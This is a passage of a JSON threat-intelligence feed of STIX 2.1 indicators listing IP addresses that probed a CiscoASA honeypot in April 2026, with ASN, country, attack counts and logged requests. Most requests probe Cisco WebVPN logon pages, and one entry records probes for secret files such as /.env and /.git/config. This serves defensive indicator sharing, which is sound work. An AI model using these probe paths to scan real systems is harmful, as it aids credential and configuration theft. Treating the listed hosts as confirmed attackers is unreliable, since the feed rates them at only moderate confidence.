      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--aac8cc82-3329-48d9-bb3e-80f2e61bdd87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:21:03.000Z",
      "valid_until": "2026-05-29T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-27T15:36:58.936Z",
          "last_seen": "2026-04-27T15:37:07.569Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--652d1395-6dca-4d52-a2e2-d754a9b3153c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:20:10.000Z",
      "valid_until": "2026-05-29T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T19:17:14.733Z",
          "last_seen": "2026-04-30T02:48:17.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--7ff18be9-4729-4005-ae3b-899439fea6fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:20:10.000Z",
      "valid_until": "2026-05-29T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-27T18:25:01.221Z",
          "last_seen": "2026-04-27T18:25:01.221Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ee354ff2-a18c-4854-9d42-316ec1a7f1f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T19:20:10.000Z",
      "valid_until": "2026-05-29T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T17:20:27.898Z",
          "last_seen": "2026-04-27T19:00:55.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T20:22:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--9c9f44ea-a4f8-4f2f-9918-97a835615f0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.197.118.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:22:45.000Z",
      "valid_until": "2026-05-29T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T19:36:58.711Z",
          "last_seen": "2026-04-27T19:37:01.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T20:22:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: AE; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--0b550ad6-3ab5-42f8-a07b-f2ca577974a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.180.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:22:45.000Z",
      "valid_until": "2026-05-29T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-27T20:11:11.404Z",
          "last_seen": "2026-04-27T20:11:54.114Z",
          "country": "United Arab Emirates",
          "country_code": "AE",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T20:22:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c8c543c9-0de2-41c7-a82c-80dcf20a7fd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:22:45.000Z",
      "valid_until": "2026-05-29T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-27T19:47:24.287Z",
          "last_seen": "2026-04-27T20:03:27.587Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T20:22:45.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T20:22:45.000Z",
      "valid_until": "2026-05-29T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T19:49:38.582Z",
          "last_seen": "2026-04-27T19:49:41.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c0e71386-8366-49e0-a7b9-15179fe35638",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T21:20:11.000Z",
      "valid_until": "2026-05-29T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T20:26:23.464Z",
          "last_seen": "2026-04-27T20:26:33.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-27T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--456a97ff-6397-45db-a699-abc7fe9498f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T22:20:10.000Z",
      "valid_until": "2026-05-29T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-27T21:35:52.502Z",
          "last_seen": "2026-04-27T21:36:02.743Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--cd8cdb13-f822-481d-a672-6e77fe22a1eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.216.140.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:20:11.000Z",
      "valid_until": "2026-05-30T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-27T23:57:29.398Z",
          "last_seen": "2026-04-27T23:57:32.418Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--288e9699-7ee2-415f-aaf9-9b850e2ce191",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.216.201.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T00:20:11.000Z",
      "valid_until": "2026-05-30T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-27T23:52:13.719Z",
          "last_seen": "2026-04-27T23:52:24.079Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /info.php HTTP/1.1\" 404 -",
            "\"GET /server-status HTTP/1.1\" 404 -",
            "\"GET /telescope/requests HTTP/1.1\" 404 -",
            "\"HELP\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--1e0705c4-6baf-4dae-82f2-ce317fe49115",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.35.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:20:10.000Z",
      "valid_until": "2026-05-30T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-28T02:51:49.142Z",
          "last_seen": "2026-04-28T02:51:52.739Z",
          "country": "United States",
          "country_code": "US",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--53ce8a51-b71d-4411-a28e-0fa1c25a858f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:20:10.000Z",
      "valid_until": "2026-05-30T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-28T02:54:17.148Z",
          "last_seen": "2026-04-28T02:54:20.152Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MY; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--cf5da06f-92c9-4600-b023-ed1be640b2e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.250.155.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T03:20:10.000Z",
      "valid_until": "2026-05-30T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-28T02:37:05.216Z",
          "last_seen": "2026-04-28T02:37:09.817Z",
          "country": "Malaysia",
          "country_code": "MY",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T04:20:33.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--ba76a02e-4a48-434e-8637-01e5a7d8b43a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '135.119.89.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T04:20:33.000Z",
      "valid_until": "2026-05-30T04:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-28T03:39:07.859Z",
          "last_seen": "2026-04-28T03:39:10.860Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T06:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1b09353c-eaf7-4468-a134-a98256183fb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:20:05.000Z",
      "valid_until": "2026-05-30T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-28T06:16:58.212Z",
          "last_seen": "2026-04-29T22:41:59.078Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T06:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4da35233-61bb-4bf0-a690-f15345e866c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T06:20:05.000Z",
      "valid_until": "2026-05-30T06:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-28T05:39:28.953Z",
          "last_seen": "2026-04-28T05:39:37.534Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T07:20:34.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--7908509f-9cc2-4b24-b26a-164b66fb91ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:20:34.000Z",
      "valid_until": "2026-05-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-18T22:50:44.620Z",
          "last_seen": "2026-04-29T19:33:58.308Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T07:20:34.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--3333be09-c0cc-4e32-814d-e46844325cca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T07:20:34.000Z",
      "valid_until": "2026-05-30T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-28T06:31:36.583Z",
          "last_seen": "2026-04-29T17:20:52.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-28T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b36c7055-b5f8-47bd-bfe5-a1af7d70cefa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
